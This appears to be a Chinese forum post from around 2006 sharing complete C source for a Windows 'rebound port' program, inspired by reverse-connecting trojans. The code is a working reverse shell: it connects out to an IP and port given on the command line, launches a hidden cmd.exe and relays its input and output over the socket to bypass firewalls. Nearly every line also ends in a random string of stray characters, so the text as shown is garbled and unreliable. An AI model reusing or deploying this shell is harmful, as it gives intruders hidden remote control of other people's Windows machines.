这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4qk9NK2 U
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/* ============================== o7$'cn
Rebound port in Windows NT @<elq'2
By wind,2006/7 f.9SB
===============================*/ 9?SZNL['V
#include :>C2gS@
#include sr{a(4*\
h-[VH%
#pragma comment(lib,"wsock32.lib") rogT~G}q
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void OutputShell(); oaIi2=Tf
SOCKET sClient; ++^l]8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &__es{;P
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void main(int argc,char **argv) sG92XJ
{ )!P)U(*v
WSADATA stWsaData; G6$kv2(k`@
int nRet; ~=uWD&5B4
SOCKADDR_IN stSaiClient,stSaiServer; AT2n VakL
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if(argc != 3) Q$zO83
{ {?:X8&Sf
printf("Useage:\n\rRebound DestIP DestPort\n"); X\bOz[\
return; J4fi'
} 2#c<\s|C
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WSAStartup(MAKEWORD(2,2),&stWsaData); hhCrUn"
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6\g cFfo
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stSaiClient.sin_family = AF_INET; 5kCUaPu
stSaiClient.sin_port = htons(0); ~a ]+#D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^")Q YE
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y 0d<~*
{ "@iK'
c^
printf("Bind Socket Failed!\n"); #h`
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return; X-K=!pET
} >0ow7Uw;
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stSaiServer.sin_family = AF_INET; 3G}x;Cp\D
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bk;?9%TW
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :~Wrf8UQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J}v}~Cv
{ C~2F9Pg
printf("Connect Error!"); kmP]SO?tx
return; 2bw_IT
} 2$+bJJM
OutputShell(); mr*JJF0Z
} hT`J1nNt
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void OutputShell() &Sw%<N*r
{ I>]oS(GNT
char szBuff[1024]; )dbB=OZ
SECURITY_ATTRIBUTES stSecurityAttributes; 8']M^|1
OSVERSIONINFO stOsversionInfo; 0D\#Pq
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a,
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STARTUPINFO stStartupInfo; e:fy#,HEj{
char *szShell; Ql/cN%^j$
PROCESS_INFORMATION stProcessInformation; BTGvN%
unsigned long lBytesRead; ORe(]I`Z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y{ibO}s
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l=S 35og
stSecurityAttributes.lpSecurityDescriptor = 0; T!+5[
stSecurityAttributes.bInheritHandle = TRUE; O#:$^#j&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \KMToN&2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `^u>9v-+'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 27
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CR8/Ke
stStartupInfo.wShowWindow = SW_HIDE; `Nz/Oh7
stStartupInfo.hStdInput = hReadPipe; +giyX7BPJ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [Y|8\Ph`&
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GetVersionEx(&stOsversionInfo); _"?.!
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switch(stOsversionInfo.dwPlatformId) FQu8vwV6>
{ Vq2y4D?
case 1: w~(1%p/
szShell = "command.com"; 6h|q'.Y
break; /Y9>8XSc
default: B:5Rr}eY+
szShell = "cmd.exe"; +o\:d1y
break; CJ1 7n
} E@@5BEB ~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f!\lg
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send(sClient,szMsg,77,0); $bW3_rl%X
while(1) rSZd!OQ
{ +]*zlE\N`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }SX,^|eN
if(lBytesRead) }#L^! \V}
{ 7|{}\w(I
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U &C!}
send(sClient,szBuff,lBytesRead,0); wN@oYFoL
} ^N7e76VwR
else KC/=TSSXd.
{ RHmgD;7`
lBytesRead=recv(sClient,szBuff,1024,0); 5Sm}nH
if(lBytesRead<=0) break; oC<.=2]
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )Q1"\\2j0
} #r#1JtT
} < vL,*.zd
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return; NG--6\
}